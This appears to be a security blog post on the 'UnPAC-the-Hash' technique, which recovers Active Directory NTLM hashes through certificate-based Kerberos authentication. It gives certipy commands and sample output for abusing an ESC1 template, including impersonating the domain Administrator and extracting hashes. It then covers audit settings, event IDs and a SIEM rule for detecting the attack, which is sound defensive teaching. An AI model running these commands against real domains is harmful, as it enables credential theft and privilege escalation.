NTLM Credential Theft through PKINIT, commonly known as “UnPAC-the-Hash,” is a technique that allows an attacker to recover the NTLM hash of an Active Directory user even when that user authenticates using a certificate or smart card instead of a password.
The technique abuses the way Microsoft Kerberos handles PKINIT (Public Key Cryptography for Initial Authentication). When a user authenticates to the Key Distribution Center (KDC) using a certificate, the resulting Kerberos authentication ticket can contain credential information inside the Privilege Attribute Certificate (PAC). Under the appropriate conditions, an attacker who possesses a valid certificate and its corresponding private key can recover the user’s NTLM hash from this information.
This makes UnPAC-the-Hash particularly dangerous because it creates a bridge between certificate-based authentication and NTLM credential theft. Once the NTLM hash is recovered, it may be reused in other authentication scenarios, including Pass-the-Hash, or used for further lateral movement depending on the privileges of the compromised account.
This post covers how UnPAC-the-Hash works through PKINIT, how it can be reproduced in an authorized lab using Certipy, and how defenders can detect the activity using Kerberos security events.
What Is an NTLM PKINIT Attack (UnPAC the Hash)?
PKINIT is an extension to Kerberos that allows a client to perform the initial authentication exchange using public-key cryptography and an X.509 certificate, instead of proving knowledge of a password-derived key. Microsoft documents PKINIT as the public-key mechanism used for the initial authentication exchange in Kerberos.
In a normal password-based Kerberos flow, the client authenticates to the KDC and receives a Ticket Granting Ticket (TGT). The TGT can then be used to request service tickets for individual services.
With PKINIT, the initial authentication step is performed using a certificate:
- The client presents a certificate and proves possession of the corresponding private key.
- The KDC validates the certificate and maps it to an Active Directory account.
- The KDC issues a TGT to the authenticated principal.
- The resulting Kerberos ticket can contain credential information inside the PAC when certificate-based authentication is used.
- During UnPAC-the-Hash, a specially constructed User-to-User (U2U) Kerberos service-ticket request can expose the PAC in a form that the authenticated party can decrypt.
- The NTLM credential information contained in
PAC_CREDENTIAL_INFOcan then be recovered.
The important point is that the attacker does not need to know the target user’s password. Possession of the user’s valid certificate and private key can be sufficient to perform PKINIT authentication and recover the NTLM credential material.
What Does an UnPAC-the-Hash Attack Require?
A typical attack requires the following components:
| Required Item | Example Value | Purpose |
|---|---|---|
| Valid authentication certificate | user.pfx |
Used for PKINIT authentication |
| Certificate private key | Embedded in PFX | Proves possession of the certificate |
| Target account | user.test@domain.local |
Account represented by the certificate |
| Active Directory domain | domain.local |
Kerberos realm |
| Domain Controller | 10.10.10.10 |
Provides KDC / Kerberos services |
| PKINIT support | Enabled | Required for certificate-based Kerberos authentication |
One common path is to first exploit an AD CS misconfiguration, such as an ESC1 certificate template, to obtain an authentication certificate for a target account. The certificate can then be used for PKINIT and, under the appropriate conditions, UnPAC-the-Hash.
The attack chain can therefore be summarized as:
AD CS Misconfiguration
↓
Authentication Certificate
↓
PKINIT
↓
Kerberos TGT
↓
U2U Service Ticket
↓
PAC / PAC_CREDENTIAL_INFO
↓
NTLM Hash
↓
Further Authentication / Pass-the-Hash
How to Execute an NTLM PKINIT Attack with certipy?
In the lab, I used certipy-ad — an open-source Python tool for enumerating and exploiting Active Directory Certificate Services misconfigurations. It handles the full chain: discovery, certificate request, PKINIT authentication, and hash extraction.
1. Install certipy-ad
pip install certipy-ad --break-system-packages
After installation, bothcertipyandcertipy-adwork as the command prefix — they are interchangeable.
2. Enumerate AD CS for vulnerable templates
Scan the domain for ESC1–ESC9 vulnerabilities across all certificate templates and Certificate Authorities:
certipy find -u user.test@domain.local -p <password> -dc-ip 10.10.10.10
Key output identifying an ESC1 template:
certipy find — ESC1 detected
Certificate Templates
0
Template Name : TEMP_CERT
Enabled : True
Client Authentication : True
Enrollee Supplies Subject : True ← ESC1 trigger
Requires Manager Approval : False ← No gating
Enrollment Rights : DOMAIN\Domain Users ← Any user can enroll
[!] Vulnerabilities
ESC1 : 'DOMAIN\\Domain Users' can enroll, template has Client
Authentication EKU, and enrollee supplies subject
3. Request a certificate with the target user’s UPN
Use the vulnerable template to request a certificate embedding the target identity in the SAN. The -upn flag specifies the UPN to impersonate:
certipy req \
-u user.test@domain.local \
-p <password> \
-ca domain-ROOT-DC1-CA \
-template TEMP_CERT \
-upn user.test@domain.local
| Option | Meaning |
|---|---|
-u user.test@domain.local |
Attacker’s own domain account used to authenticate to the CA |
-ca domain-ROOT-DC1-CA |
Name of the Certificate Authority to submit the request to |
-template TEMP_CERT |
The vulnerable template identified by certipy find |
-upn user.test@domain.local |
UPN to embed in the certificate SAN — change to administrator@domain.local for privilege escalation |
Expected output:
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'user.test@domain.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'user.pfx'
Theuser.pfxfile contains the certificate and private key for the target identity. The CA issued this without verifying that the requester is actuallyuser.test— it trusted the template configuration.
4. Authenticate with the certificate and extract the NTLM hash
Present the .pfx to the Domain Controller via PKINIT. certipy decrypts the AS-REP and extracts the NTLM hash from the PA-PAC-CREDENTIALS structure:
certipy-ad auth -pfx user.pfx -dc-ip 10.10.10.10
Expected output:
[*] Using principal: user.test@domain.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'user.test.ccache'
[*] Trying to retrieve NT hash for 'user.test'
[*] Got hash for 'user.test@domain.local': aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
The NT hash on the last line is the output of UnPAC the Hash — extracted entirely through a standard Kerberos exchange, without running Mimikatz, accessing LSASS, or holding any elevated domain privilege.
Privilege escalation via ESC1: Change
-upn user.test@domain.localto-upn administrator@domain.localin step 3. If the CA issues the certificate — which it will if the template is vulnerable to ESC1 — step 4 returns the Administrator’s NTLM hash instead.
How Does NTLM PKINIT Compare to Other Hash Extraction Techniques?
UnPAC the Hash sits in a unique position: it requires only standard domain user credentials and produces no LSASS access or replication traffic. Comparing it to the other techniques clarifies where it sits in the kill chain.
| Criteria | NTLM PKINIT (UnPAC) | DCSync | Pass-the-Hash |
|---|---|---|---|
| Prerequisite | Valid certificate for target user | Replication rights on domain | Already-stolen NTLM hash |
| Tool | certipy-ad | secretsdump (Impacket) | evil-winrm, psexec |
| Touches LSASS? | No | No | No |
| Requires admin rights? | No — any domain user | Yes — replication rights | Depends on target service |
| Hash scope | One user per certificate obtained | All domain users at once | N/A — consumes existing hash |
| Primary detection event | 4768 (Type 16) + 4886 on CA | 4662 on DC | 4624 (NTLM, LogonType 3) |
| MITRE ATT&CK | T1649 | T1003.006 | T1550.002 |
The key stealth advantage: NTLM PKINIT produces only a standard Kerberos AS exchange and a normal certificate request — both of which look like routine operations in environments with smartcard or certificate authentication, and both of which are invisible in environments without CA audit logging enabled.
How to Enable Logging to Detect NTLM PKINIT Attacks?
Detection requires audit settings in two separate locations. Without both, the attack chain is invisible.
Enable Kerberos Authentication Auditing on Domain Controllers
Group Policy path (on Domain Controllers)
Computer Configuration
→ Windows Settings
→ Security Settings
→ Advanced Audit Policy Configuration
→ Account Logon
→ Audit Kerberos Authentication Service → Success + Failure
This enables Event 4768. Without it, every PKINIT authentication — legitimate or malicious — leaves no trace on the DC.
Enable Certificate Services Auditing on the CA Server
On the CA server, open Certificate Authority (certsrv.msc) → right-click the CA → Properties → Auditing tab → enable the following:
CA auditing — events to enable
✓ Issue and manage certificate requests → enables Event 4886, 4887
✓ Revoke certificates and publish CRLs → enables Event 4890
✓ Change CA security settings → enables Event 4882
✓ Store and retrieve archived keys → enables Event 4893
Event 4886 is the highest-priority item. It logs the requester account, the template used, and the certificate attributes — including any SAN UPN that differs from the authenticated requester. Without CA auditing, ESC1 exploitation is entirely silent.
SIEM Correlation Rule
The most reliable detection chains both event sources together:
SIEM correlation logic (pseudocode)
ALERT when:
Event 4886 on CA server
WHERE Template = vulnerable_template
AND Requester_Account != UPN_in_Certificate_SAN
FOLLOWED WITHIN 5 minutes by:
Event 4768 on DC
WHERE Pre_Authentication_Type = 16
AND Account_Name = UPN extracted from certificate
Conclusion
NTLM PKINIT (UnPAC the Hash) is dangerous precisely because it requires no special privileges, leaves no LSASS footprint, and exploits a legitimate Kerberos feature rather than a software bug. The entire attack surface sits in Active Directory Certificate Services — which most organizations audit far less rigorously than their Domain Controllers. To defend against it:
- Audit AD CS immediately — run
certipy findor use the AD CS module in BloodHound. Any template with Enrollee Supplies Subject enabled for Domain Users without manager approval is a critical ESC1 finding that needs immediate remediation. - Disable “Enrollee Supplies Subject” on all templates that do not strictly require it. If a template must allow SAN specification, restrict enrollment to specific privileged groups and require manager approval.
- Enable Event 4886 auditing on the CA server — this is the most specific indicator. An alert where Requester and certificate SAN UPN differ catches ESC1 exploitation in real time, before the PKINIT step even occurs.
- Enable Event 4768 auditing on Domain Controllers and alert on Pre-Authentication Type 16 from source IPs or accounts that do not normally use certificate authentication in your environment.
- Remove Domain Users from sensitive template enrollment ACLs — only accounts that legitimately require a template should hold enrollment rights. Blanket permissions for Domain Users or Authenticated Users on any Client Authentication template are a standing ESC1 risk.